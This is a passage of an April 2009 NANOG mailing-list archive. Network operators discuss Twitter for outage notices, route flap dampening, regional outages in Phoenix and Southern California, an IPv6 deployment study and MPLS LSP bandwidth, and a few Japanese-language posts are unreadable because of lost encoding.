<00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> <49F4C9CA.20505@zero11.com> <49F51B2E.4010402@rockynet.com> <49F5DDC6.7070901@rockynet.com> Message-ID: <366100670904270938k53b5504p25b15d5be2f2dcb3@mail.gmail.com> On Mon, Apr 27, 2009 at 11:31 AM, Mike Lewinski wrote: > Suresh Ramasubramanian wrote: > > If your email and phone communications are down due to a connectivity >> break, and your customers get connectivity from you [assume no backup >> links, by default .. you'd be surprised at how many smaller customers >> get by with a single link and no backups at all. If their >> connectivity is down too - they just cant get to twitter right? >> > > I can post status updates to our noc twitter account from my cell phone (so > no reliance on local network) and any customers who are using a smartphone > device can get updates from their mobile, also wholly OOB from our network. > I imagine there's a way to get updates via pure SMS too. I think it's the > melding of the mobile with the Internet that is what gives Twitter its real > power. > > I agree however that if the only Twitter access is via regular computer it > loses most of its value in this situation. > > Mike Twitter allows you to specify that you want SMS notification when someone you're following makes an update. -- Brandon Galbraith Mobile: 630.400.6992 From mike at rockynet.com Mon Apr 27 12:13:05 2009 From: mike at rockynet.com (Mike Lewinski) Date: Mon, 27 Apr 2009 11:13:05 -0600 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: References: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> <49F53201.9000404@gmail.com> Message-ID: <49F5E7A1.6030702@rockynet.com> William McCall wrote: > I should have clarified. Third party physical control isn't necessarily the > issue, but third party administration and delivery (in the context of > twitter) is. > > Dedicated servers are cheap and you can maintain control of the content. But useless if the customer's data connection is down and their local cell phones are the only remaining method of communication. If 25% of our users would check their twitter feed first and let their boss know "They are aware of the problem and this is the ETR", that means the other 75% who are trying to call have less competition getting that same update from a human (or our auto-attendant). We're never going to tweet every down T1 because those are easy to manage the customer contacts for and also not of interest to 99% of our customers. I'm really only talking about the outages that would affect the majority of customers where proactive notification isn't feasible (by the time you've made it 10% through your list, you've already received calls from 95% of the people who want such notifications anyway because they all called at the same time, right when it stopped working...). Mike From j13park at hotmail.com Mon Apr 27 12:31:42 2009 From: j13park at hotmail.com (Jonathan Park) Date: Mon, 27 Apr 2009 17:31:42 +0000 Subject: route flap dampening Message-ID: Hello all, I was wondering how many of you use route flap dampening in your network. If you have it enabled, what is the main reason? Thank you! Jonathan _________________________________________________________________ Windows Live? Hotmail?:?more than just e-mail. http://windowslive.com/online/hotmail?ocid=TXT_TAGLM_WL_HM_more_042009 From jbates at brightok.net Mon Apr 27 13:20:52 2009 From: jbates at brightok.net (Jack Bates) Date: Mon, 27 Apr 2009 13:20:52 -0500 Subject: route flap dampening In-Reply-To: References: Message-ID: <49F5F784.1060202@brightok.net> Jonathan Park wrote: > Hello all, > I was wondering how many of you use route flap dampening in your network. > If you have it enabled, what is the main reason? > We've been considering it after the last flap around the world; perhaps with extremely short penalty times. Jack From patrick at ianai.net Mon Apr 27 13:27:58 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Mon, 27 Apr 2009 14:27:58 -0400 Subject: route flap dampening In-Reply-To: <49F5F784.1060202@brightok.net> References: <49F5F784.1060202@brightok.net> Message-ID: On Apr 27, 2009, at 2:20 PM, Jack Bates wrote: > Jonathan Park wrote: >> Hello all, >> I was wondering how many of you use route flap dampening in your >> network. >> If you have it enabled, what is the main reason? > > We've been considering it after the last flap around the world; > perhaps with extremely short penalty times. -- TTFN, patrick From jbates at brightok.net Mon Apr 27 13:35:50 2009 From: jbates at brightok.net (Jack Bates) Date: Mon, 27 Apr 2009 13:35:50 -0500 Subject: route flap dampening In-Reply-To: References: <49F5F784.1060202@brightok.net> Message-ID: <49F5FB06.8090804@brightok.net> Patrick W. Gilmore wrote: > On Apr 27, 2009, at 2:20 PM, Jack Bates wrote: >> We've been considering it after the last flap around the world; >> perhaps with extremely short penalty times. > > > > Yeah, read the presentation several times, thus the short penalty times, and probably high thresholds. The idea for me is to limit the harm of excessive flapping while not being paranoid. I've had a customer lose a lot of connectivity for 30 minutes after 3 or 4 flaps. I figure 5 minute ignore after about 10 flaps in a 10 minute period. Jack From william.mccall at gmail.com Mon Apr 27 13:48:51 2009 From: william.mccall at gmail.com (William McCall) Date: Mon, 27 Apr 2009 13:48:51 -0500 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: <49F5E7A1.6030702@rockynet.com> References: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> <49F53201.9000404@gmail.com> <49F5E7A1.6030702@rockynet.com> Message-ID: On Mon, Apr 27, 2009 at 12:13 PM, Mike Lewinski wrote: > > But useless if the customer's data connection is down and their local cell > phones are the only remaining method of communication. > > If 25% of our users would check their twitter feed first and let their boss > know "They are aware of the problem and this is the ETR", that means the > other 75% who are trying to call have less competition getting that same > update from a human (or our auto-attendant). > > Cellphones can still receive data and websites. You can use an alternate service that provides SMS functionality without having to have it in a public forum. This still allows you to maintain control of who is seeing it without trying to figure out which customer BigDaddyPimpin is on Twitter. Depending on your situation, you really might not want all of those outage updates to become someone else's information. If you don't have much competition against your business model, it might make sense to provide this. If you have competitors ranging from sleazy snake oil to overpriced big name, this data becomes a good source of your operations for your competitors to use in whatever way they like. > We're never going to tweet every down T1 because those are easy to manage > the customer contacts for and also not of interest to 99% of our customers. > I'm really only talking about the outages that would affect the majority of > customers where proactive notification isn't feasible (by the time you've > made it 10% through your list, you've already received calls from 95% of the > people who want such notifications anyway because they all called at the > same time, right when it stopped working...). > > Mike > > Proactive notifications can and are tailored to meet individual SP needs. If I'm providing circuits, my customers want to know when THEIR circuits are affected. If I'm providing some other service, relevant notification of failure are useful. Tailoring outage information to be proactive and relevant isn't something new and the practical implementation has already been deployed by major players in the SP realm. The implementation of these systems may be non-trivial in your environment, but customers are starting to demand a notification of potential trouble BEFORE someone has spend 15 or 20 min to determine that the service is truly down. And if your argument holds true, those 95% didn't bother to check twitter. They called you anyway. And remember, you still have that website thats hosted offsite, offnet. And you still control it. Twitter doesn't magically change the way information is delivered just because its twitter. It does change who is ultimatly in control of the content. --WJM IV From dstorandt at teljet.com Mon Apr 27 14:13:09 2009 From: dstorandt at teljet.com (David Storandt) Date: Mon, 27 Apr 2009 15:13:09 -0400 Subject: route flap dampening In-Reply-To: <49F5FB06.8090804@brightok.net> References: <49F5F784.1060202@brightok.net> <49F5FB06.8090804@brightok.net> Message-ID: We're using Cisco 6509 MSFC2s for core engines with three 85% route feeds and Cisco-default route flap suppression. Yeah, the default flap suppression parameters are aggressive but we want to be sure we don't hog precious CPU cycles from a nasty route flap and provide more consistent routes to our downstreams. We can't take a full route table (232k) due to TCAM limitations, so we have default routes anyway. There's only a subtle impact to our customers with maybe a less preferable, stable path versus a better, flapping one. A better bargain in our book, but maybe not for others... CPU runs around 10-12% all day. If we had more router CPU and no default routes, we'd probably have dampening enabled but at very high thresholds under similar network policies. -D On Mon, Apr 27, 2009 at 2:35 PM, Jack Bates wrote: > Patrick W. Gilmore wrote: >> >> On Apr 27, 2009, at 2:20 PM, Jack Bates wrote: >>> >>> We've been considering it after the last flap around the world; perhaps >>> with extremely short penalty times. >> >> >> >> > > Yeah, read the presentation several times, thus the short penalty times, and > probably high thresholds. > > The idea for me is to limit the harm of excessive flapping while not being > paranoid. I've had a customer lose a lot of connectivity for 30 minutes > after 3 or 4 flaps. I figure 5 minute ignore after about 10 flaps in a ?10 > minute period. > > Jack > > From bdfleming at kanren.net Mon Apr 27 14:56:10 2009 From: bdfleming at kanren.net (Brad Fleming) Date: Mon, 27 Apr 2009 14:56:10 -0500 Subject: AC to DC Power Supplies Message-ID: Hello All, I'm in the hunt for 3-4 AC to DC power supplies and was wondering if anyone has a brand / part they suggest. Basically, we only have AC power in my building but need to stage and test devices that will live in DC-only environments. The devices being staged require -48VDC and a max of 420W. Thanks for any suggestions! -Brad Fleming From Ray.Sanders at VillageVoiceMedia.com Mon Apr 27 16:08:43 2009 From: Ray.Sanders at VillageVoiceMedia.com (Ray Sanders) Date: Mon, 27 Apr 2009 14:08:43 -0700 Subject: Phoenix Area Network Issues? Message-ID: <1240866523.22125.11.camel@artoo.vvmedia.com> Are there any fiber cuts or other routing issues anyone in the Phoenix area is aware of? Thanks. -- "Prediction is very difficult, especially about the future." Niels Bohr -- Ray Sanders Linux Administrator Village Voice Media Office: 602-744-6547 Cell: 602-300-4344 From kloch at kl.net Mon Apr 27 16:12:19 2009 From: kloch at kl.net (Kevin Loch) Date: Mon, 27 Apr 2009 17:12:19 -0400 Subject: Phoenix Area Network Issues? In-Reply-To: <1240866523.22125.11.camel@artoo.vvmedia.com> References: <1240866523.22125.11.camel@artoo.vvmedia.com> Message-ID: <49F61FB3.2060200@kl.net> Something is definately happening, 50% drop in inbound traffic to our PHX datacenter across all transit providers. - Kevin Ray Sanders wrote: > Are there any fiber cuts or other routing issues anyone in the Phoenix > area is aware of? > > > Thanks. > From kloch at kl.net Mon Apr 27 16:19:05 2009 From: kloch at kl.net (Kevin Loch) Date: Mon, 27 Apr 2009 17:19:05 -0400 Subject: Phoenix Area Network Issues? In-Reply-To: <49F61FB3.2060200@kl.net> References: <1240866523.22125.11.camel@artoo.vvmedia.com> <49F61FB3.2060200@kl.net> Message-ID: <49F62149.7030804@kl.net> Kevin Loch wrote: > Something is definately happening, 50% drop in inbound > traffic to our PHX datacenter across all transit providers. > > - Kevin > > Ray Sanders wrote: >> Are there any fiber cuts or other routing issues anyone in the Phoenix Update: Qwest did not appear to be affected by this, Highwinds traffic has just returned to normal, Level3 and GBLX still affected. - Kevin From james at pcipros.com Mon Apr 27 16:19:33 2009 From: james at pcipros.com (James Laszko) Date: Mon, 27 Apr 2009 14:19:33 -0700 Subject: Phoenix Area Network Issues? In-Reply-To: <49F61FB3.2060200@kl.net> References: <1240866523.22125.11.camel@artoo.vvmedia.com> <49F61FB3.2060200@kl.net> Message-ID: <0983540C7A6BC84DB0A5FEF8033C2BF42B7EF5@sandcaexch02.pcipros.net> Just got off the phone with AT&T MIS Support - there is some extremely large facility outages in the Southern California area. I'm seeing T1-OC3 facilities down from San Diego to Los Angeles to Riverside to Palm Springs. We've seen voice, data, legacy AT&T and legacy SBC/PacBell circuits affected. If anyone has any further details, it would be appreciated. MIS people said an "email was forthcoming shortly" Regards, James Laszko Pipeline Communications james at pcipros.com -----Original Message----- From: Kevin Loch [mailto:kloch at kl.net] Sent: Monday, April 27, 2009 2:12 PM To: Ray Sanders Cc: outages at outages.org; nanog Subject: Re: Phoenix Area Network Issues? Something is definately happening, 50% drop in inbound traffic to our PHX datacenter across all transit providers. - Kevin Ray Sanders wrote: > Are there any fiber cuts or other routing issues anyone in the Phoenix > area is aware of? > > > Thanks. > From pjasa at univision.net Mon Apr 27 16:31:16 2009 From: pjasa at univision.net (Paul Jasa) Date: Mon, 27 Apr 2009 17:31:16 -0400 Subject: Phoenix Area Network Issues? In-Reply-To: <0983540C7A6BC84DB0A5FEF8033C2BF42B7EF5@sandcaexch02.pcipros.net> References: <1240866523.22125.11.camel@artoo.vvmedia.com><49F61FB3.2060200@kl.net> <0983540C7A6BC84DB0A5FEF8033C2BF42B7EF5@sandcaexch02.pcipros.net> Message-ID: <49BDC04765D40849A4170C966AD69A9D0AE747C2@MIA-EX01.utg.uvn.net> Confirming outages in SoCal area affecting AT&T (lost a large circuit out there @ 1:24 PDT). I should add not all SoCal sites are affected, just some. Paul J. -----Original Message----- From: James Laszko [mailto:james at pcipros.com] Sent: Monday, April 27, 2009 5:20 PM To: Kevin Loch; Ray Sanders Cc: outages at outages.org; nanog Subject: RE: Phoenix Area Network Issues? Just got off the phone with AT&T MIS Support - there is some extremely large facility outages in the Southern California area. I'm seeing T1-OC3 facilities down from San Diego to Los Angeles to Riverside to Palm Springs. We've seen voice, data, legacy AT&T and legacy SBC/PacBell circuits affected. If anyone has any further details, it would be appreciated. MIS people said an "email was forthcoming shortly" Regards, James Laszko Pipeline Communications james at pcipros.com -----Original Message----- From: Kevin Loch [mailto:kloch at kl.net] Sent: Monday, April 27, 2009 2:12 PM To: Ray Sanders Cc: outages at outages.org; nanog Subject: Re: Phoenix Area Network Issues? Something is definately happening, 50% drop in inbound traffic to our PHX datacenter across all transit providers. - Kevin Ray Sanders wrote: > Are there any fiber cuts or other routing issues anyone in the Phoenix > area is aware of? > > > Thanks. > The information contained in this e-mail and any attached documents may be privileged, confidential and protected from disclosure. If you are not the intended recipient you may not read, copy, distribute or use this information. If you have received this communication in error, please notify the sender immediately by replying to this message and then delete it from your system From kris.foster at gmail.com Mon Apr 27 16:41:15 2009 From: kris.foster at gmail.com (kris foster) Date: Mon, 27 Apr 2009 14:41:15 -0700 Subject: Phoenix Area Network Issues? In-Reply-To: <49BDC04765D40849A4170C966AD69A9D0AE747C2@MIA-EX01.utg.uvn.net> References: <1240866523.22125.11.camel@artoo.vvmedia.com><49F61FB3.2060200@kl.net> <0983540C7A6BC84DB0A5FEF8033C2BF42B7EF5@sandcaexch02.pcipros.net> <49BDC04765D40849A4170C966AD69A9D0AE747C2@MIA-EX01.utg.uvn.net> Message-ID: <7E152A02-EFC5-4493-BE03-E756C38DFA55@gmail.com> outages at outages.org has been removed from the cc list. From the AUP: 3. Cross posting is prohibited. Thanks Kris, MLC Chair On Apr 27, 2009, at 2:31 PM, Paul Jasa wrote: > Confirming outages in SoCal area affecting AT&T (lost a large circuit > out there @ 1:24 PDT). I should add not all SoCal sites are affected, > just some. > Paul J. > > > > > -----Original Message----- > From: James Laszko [mailto:james at pcipros.com] > Sent: Monday, April 27, 2009 5:20 PM > To: Kevin Loch; Ray Sanders > Cc: outages at outages.org; nanog > Subject: RE: Phoenix Area Network Issues? > > Just got off the phone with AT&T MIS Support - there is some extremely > large facility outages in the Southern California area. I'm seeing > T1-OC3 facilities down from San Diego to Los Angeles to Riverside to > Palm Springs. > > We've seen voice, data, legacy AT&T and legacy SBC/PacBell circuits > affected. > > If anyone has any further details, it would be appreciated. MIS > people > said an "email was forthcoming shortly" > > > Regards, > > > James Laszko > Pipeline Communications > james at pcipros.com > > > -----Original Message----- > From: Kevin Loch [mailto:kloch at kl.net] > Sent: Monday, April 27, 2009 2:12 PM > To: Ray Sanders > Cc: outages at outages.org; nanog > Subject: Re: Phoenix Area Network Issues? > > Something is definately happening, 50% drop in inbound > traffic to our PHX datacenter across all transit providers. > > - Kevin > > Ray Sanders wrote: >> Are there any fiber cuts or other routing issues anyone in the >> Phoenix >> area is aware of? >> >> >> Thanks. >> > > > > > The information contained in this e-mail and any attached > documents may be privileged, confidential and protected from > disclosure. If you are not the intended recipient you may not > read, copy, distribute or use this information. If you have > received this communication in error, please notify the sender > immediately by replying to this message and then delete it > from your system > From gschwim at gmail.com Mon Apr 27 17:01:07 2009 From: gschwim at gmail.com (Greg Schwimer) Date: Mon, 27 Apr 2009 15:01:07 -0700 Subject: Phoenix Area Network Issues? In-Reply-To: <49BDC04765D40849A4170C966AD69A9D0AE747C2@MIA-EX01.utg.uvn.net> References: <1240866523.22125.11.camel@artoo.vvmedia.com> <49F61FB3.2060200@kl.net> <0983540C7A6BC84DB0A5FEF8033C2BF42B7EF5@sandcaexch02.pcipros.net> <49BDC04765D40849A4170C966AD69A9D0AE747C2@MIA-EX01.utg.uvn.net> Message-ID: <702ea15b0904271501s18e53467gf78f42e0daae1e8c@mail.gmail.com> I lost about 500Mbps of my outbound through Qwest. Not sure why yet. On Mon, Apr 27, 2009 at 2:31 PM, Paul Jasa wrote: > Confirming outages in SoCal area affecting AT&T (lost a large circuit > out there @ 1:24 PDT). I should add not all SoCal sites are affected, > just some. > Paul J. > > > > > -----Original Message----- > From: James Laszko [mailto:james at pcipros.com] > Sent: Monday, April 27, 2009 5:20 PM > To: Kevin Loch; Ray Sanders > Cc: outages at outages.org; nanog > Subject: RE: Phoenix Area Network Issues? > > Just got off the phone with AT&T MIS Support - there is some extremely > large facility outages in the Southern California area. I'm seeing > T1-OC3 facilities down from San Diego to Los Angeles to Riverside to > Palm Springs. > > We've seen voice, data, legacy AT&T and legacy SBC/PacBell circuits > affected. > > If anyone has any further details, it would be appreciated. MIS people > said an "email was forthcoming shortly" > > > Regards, > > > James Laszko > Pipeline Communications > james at pcipros.com > > > -----Original Message----- > From: Kevin Loch [mailto:kloch at kl.net] > Sent: Monday, April 27, 2009 2:12 PM > To: Ray Sanders > Cc: outages at outages.org; nanog > Subject: Re: Phoenix Area Network Issues? > > Something is definately happening, 50% drop in inbound > traffic to our PHX datacenter across all transit providers. > > - Kevin > > Ray Sanders wrote: > > Are there any fiber cuts or other routing issues anyone in the Phoenix > > area is aware of? > > > > > > Thanks. > > > > > > > The information contained in this e-mail and any attached > documents may be privileged, confidential and protected from > disclosure. If you are not the intended recipient you may not > read, copy, distribute or use this information. If you have > received this communication in error, please notify the sender > immediately by replying to this message and then delete it > from your system > > From gschwim at gmail.com Mon Apr 27 21:05:28 2009 From: gschwim at gmail.com (Greg Schwimer) Date: Mon, 27 Apr 2009 19:05:28 -0700 Subject: Phoenix Area Network Issues? In-Reply-To: <702ea15b0904271501s18e53467gf78f42e0daae1e8c@mail.gmail.com> References: <1240866523.22125.11.camel@artoo.vvmedia.com> <49F61FB3.2060200@kl.net> <0983540C7A6BC84DB0A5FEF8033C2BF42B7EF5@sandcaexch02.pcipros.net> <49BDC04765D40849A4170C966AD69A9D0AE747C2@MIA-EX01.utg.uvn.net> <702ea15b0904271501s18e53467gf78f42e0daae1e8c@mail.gmail.com> Message-ID: <702ea15b0904271905j7312e715ja92ac3d3740a5af7@mail.gmail.com> Looks like Level3 at this point, not Qwest. Some traffic wasn't getting to us, which caused the dip in our outbound. It lasted about an hour. On Mon, Apr 27, 2009 at 3:01 PM, Greg Schwimer wrote: > I lost about 500Mbps of my outbound through Qwest. Not sure why yet. > > > On Mon, Apr 27, 2009 at 2:31 PM, Paul Jasa wrote: > >> Confirming outages in SoCal area affecting AT&T (lost a large circuit >> out there @ 1:24 PDT). I should add not all SoCal sites are affected, >> just some. >> Paul J. >> >> >> >> >> -----Original Message----- >> From: James Laszko [mailto:james at pcipros.com] >> Sent: Monday, April 27, 2009 5:20 PM >> To: Kevin Loch; Ray Sanders >> Cc: outages at outages.org; nanog >> Subject: RE: Phoenix Area Network Issues? >> >> Just got off the phone with AT&T MIS Support - there is some extremely >> large facility outages in the Southern California area. I'm seeing >> T1-OC3 facilities down from San Diego to Los Angeles to Riverside to >> Palm Springs. >> >> We've seen voice, data, legacy AT&T and legacy SBC/PacBell circuits >> affected. >> >> If anyone has any further details, it would be appreciated. MIS people >> said an "email was forthcoming shortly" >> >> >> Regards, >> >> >> James Laszko >> Pipeline Communications >> james at pcipros.com >> >> >> -----Original Message----- >> From: Kevin Loch [mailto:kloch at kl.net] >> Sent: Monday, April 27, 2009 2:12 PM >> To: Ray Sanders >> Cc: outages at outages.org; nanog >> Subject: Re: Phoenix Area Network Issues? >> >> Something is definately happening, 50% drop in inbound >> traffic to our PHX datacenter across all transit providers. >> >> - Kevin >> >> Ray Sanders wrote: >> > Are there any fiber cuts or other routing issues anyone in the Phoenix >> > area is aware of? >> > >> > >> > Thanks. >> > >> >> >> >> >> The information contained in this e-mail and any attached >> documents may be privileged, confidential and protected from >> disclosure. If you are not the intended recipient you may not >> read, copy, distribute or use this information. If you have >> received this communication in error, please notify the sender >> immediately by replying to this message and then delete it >> from your system >> >> > From elliottk at CS.Princeton.EDU Mon Apr 27 22:56:52 2009 From: elliottk at CS.Princeton.EDU (Elliott Karpilovsky) Date: Mon, 27 Apr 2009 23:56:52 -0400 Subject: Study of IPv6 Deployment Message-ID: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> Hello everyone. My name is Elliott Karpilovsky, a student at Princeton University. In collaboration with Alex Gerber (AT&T Research), Dan Pei (AT&T Research), Jennifer Rexford (Princeton University), and Aman Shaikh (AT&T Research), we studied the extent of IPv6 deployment at both global and local levels. Our conclusions can be summarized by the following three points: 1.) IPv6 deployment is not seen as a pressing issue. 2.) We saw a lack of meaningful IPv6 traffic (mostly DNS/Domain and ICMP messages), possibly indicating that IPv6 networks are still experimental. 3.) Studying Teredo traffic suggested that it may be used for NAT busting by P2P networks. Our paper (submitted and presented at PAM 2009) can be found at http://www.cs.princeton.edu/~elliottk/ipv6study.html . If you have comments or feedback with respect to these results, please feel free to express them. Thank you. From jeffrey at exobitnetworks.com Mon Apr 27 23:54:32 2009 From: jeffrey at exobitnetworks.com (Jeffrey Meltzer) Date: Tue, 28 Apr 2009 00:54:32 -0400 (EDT) Subject: Paging AboveNet Message-ID: <00aa01c9c7bd$22ae6290$680b27b0$@com> If anyone from AboveNet is around, please contact off list. 2 BGP Sessions down, and the 800# on the website Network Management Center (NMC): 888.636.2778 (toll-free) Is generating "your call could not be completed" etc from 3 different dialtone providers. Thanks, Jeff -- Jeffrey Meltzer Director of Network Operations Long Island Fiber Exchange / Exobit Networks (A LIFE Company) From jeffrey at exobitnetworks.com Tue Apr 28 00:04:52 2009 From: jeffrey at exobitnetworks.com (Jeffrey Meltzer) Date: Tue, 28 Apr 2009 01:04:52 -0400 (EDT) Subject: Paging AboveNet In-Reply-To: <00aa01c9c7bd$22ae6290$680b27b0$@com> References: <00aa01c9c7bd$22ae6290$680b27b0$@com> Message-ID: <00b201c9c7be$946c77e0$bd4567a0$@com> Issue being worked on, thanks to those who responded. > -----Original Message----- > From: Jeffrey Meltzer [mailto:jeffrey at exobitnetworks.com] > Sent: Tuesday, April 28, 2009 12:55 AM > To: nanog at merit.edu > Subject: Paging AboveNet > > If anyone from AboveNet is around, please contact off list. 2 BGP > Sessions down, and the 800# on the website > Network Management Center (NMC): > 888.636.2778 (toll-free) > Is generating "your call could not be completed" etc from 3 different > dialtone providers. > > Thanks, > > Jeff > > -- > Jeffrey Meltzer > Director of Network Operations > Long Island Fiber Exchange / Exobit Networks (A LIFE Company) > From alamiki1623 at yahoo.co.jp Tue Apr 28 01:12:53 2009 From: alamiki1623 at yahoo.co.jp (alamiki1623 at yahoo.co.jp) Date: Tue, 28 Apr 2009 15:12:53 +0900 (JST) Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00240] =?ISO-2022-JP?B?GyRCJUslM0YwJE47ZCRORjAyaCQsPkMkNSRsJGshRCEqGyhC?= Message-ID: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> ?? ? 2009?02?03? (?) ?? ? ??????????????? ????????????????????????? ???????????????????????JASRAC???????????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????????????????????????8?????????(?) ????????????????????UP?????????????????????????Say You Want Me?????????????????????????????????????????????????Next Time I Fall In Love????????????????UP????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????UP????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????????? ??????????????????????????? ????????? ?????????????????????????????????????????????? ?????????????????????????????????????????JASRAC? ??JASRACK????????????????? ?????????????????????????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????? ???????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) ????????1?????????????????????????????????????????????????????????????????????????????????????(?)????????????????????????????????????????????????????? ???????????????????? ???????????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????Get Wild????????????????? MIX????????? ???????????????????????????????????????????????????????????????????????????????????????????????????Get Wild????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????? ????????????????????????????????????????? --------------------------------- Power up the Internet with Yahoo! Toolbar. From alamiki1623 at yahoo.co.jp Tue Apr 28 01:13:21 2009 From: alamiki1623 at yahoo.co.jp (alamiki1623 at yahoo.co.jp) Date: Tue, 28 Apr 2009 15:13:21 +0900 (JST) Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00241] =?ISO-2022-JP?B?GyRCJCQkbSQkJG0kSCFEGyhC?= Message-ID: <20090428061321.6647.qmail@web3608.mail.tnz.yahoo.co.jp> ?? ? 2008?11?14? (?) ?? ? ?????? ?10?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????10?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????? ??????????????????????????????????????????????????????? ????????100??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????????????????????????????????????1?2?????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ? ?????????????????????????????????????????????????????????????????????????????????????????????????????????100?????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????TK??????????????? ???????????????????????????????????????????????????????25????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????? ? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????????????????????????????????????? --------------------------------- Power up the Internet with Yahoo! Toolbar. From alamiki1623 at yahoo.co.jp Tue Apr 28 01:11:31 2009 From: alamiki1623 at yahoo.co.jp (alamiki1623 at yahoo.co.jp) Date: Tue, 28 Apr 2009 15:11:31 +0900 (JST) Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00244] =?ISO-2022-JP?B?GyRCNVckNyRWJGokRyQ5ITxARD85JEskJCReJDkbKEI=?= Message-ID: <20090428061131.97422.qmail@web3609.mail.tnz.yahoo.co.jp> ?? ? 2009?04?28? (?) ?? ? ????????????? ???????????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????4???????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) ?????????(?) ??????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????30???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????????? ????????????????????????????????????????????????????????????????????????????????????????????????? ?JASRAC?????????????????????????????????? ????????????????????????????????????????????????? ? ?????2???????????????????????????????????????????????????????CD?????????????????????????????????????????????????????????????????????? --------------------------------- Power up the Internet with Yahoo! Toolbar. From msaqib at gmail.com Tue Apr 28 03:51:02 2009 From: msaqib at gmail.com (Saqib Ilyas) Date: Tue, 28 Apr 2009 13:51:02 +0500 Subject: Concerning MPLS paths In-Reply-To: <262b67200904270615i749a3a15n405fab4384589e0e@mail.gmail.com> References: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> <262b67200904270550m54ee2183qd38990683fc85884@mail.gmail.com> <262b67200904270615i749a3a15n405fab4384589e0e@mail.gmail.com> Message-ID: <262b67200904280151xdd60572o9ecd077d73b330a1@mail.gmail.com> Anyone? On Mon, Apr 27, 2009 at 6:15 PM, Saqib Ilyas wrote: > Furthermore, I was also wondering, if the bandwidth constraints are upper > bounds, what does the traffic distribution typically look like at an LSR? > We're interested in traffic within a single service provider, non-Internet > traffic. Perhaps most service providers set aside some (dynamic?) pool for > Internet traffic, while making commitments to customer's inter-site traffic. > Thanks and best regards > > > On Mon, Apr 27, 2009 at 5:50 PM, Saqib Ilyas wrote: > >> William >> Thanks for the reply. You say that LSPs are not static unless you use TE >> tunnels. Are you referring to the staticness in terms of the path or in the >> amount of bandwidth reserved on each link along a fixed path determined at >> the time of signalling? Isn't a bandwidth constrained LSP always a TE >> tunnel? >> Thanks and best regards >> >> >> On Mon, Apr 27, 2009 at 5:41 PM, William McCall > > wrote: >> >>> Well, yes (if you don't count the additional traffic of >>> signalling/routing protocols, label imposition, etc) but consider the fact >>> that topologies change and routing will tend to change the total traffic >>> handled through a node. LSPs are not static unless you use TE tunnels. >>> Remember that labels are Forwarding Equivalency Classes and that translates >>> into subnets (whether they're subnets in a L3 vpn or part of the P network) >>> and the routing is still handled through an IGP or BGP. >>> >>> HTH >>> >>> --WJM IV >>> >>> >>> On Mon, Apr 27, 2009 at 7:10 AM, Saqib Ilyas wrote: >>> >>>> Hello everyone >>>> In the context of a single service provider network running MPLS, if a >>>> number of bandwidth constrained LSPs are passing through a particular >>>> node >>>> and the sum of the bandwidth constraints for the LSPs is X Mb/s, then is >>>> X >>>> the upper bound on the traffic through that node, or is it sometimes >>>> exceeded as well? >>>> Thanks and best regards >>>> >>> >>> >> >> >> -- >> Muhammad Saqib Ilyas >> PhD Student, Computer Science and Engineering >> Lahore University of Management Sciences >> > > > > -- > Muhammad Saqib Ilyas > PhD Student, Computer Science and Engineering > Lahore University of Management Sciences > -- Muhammad Saqib 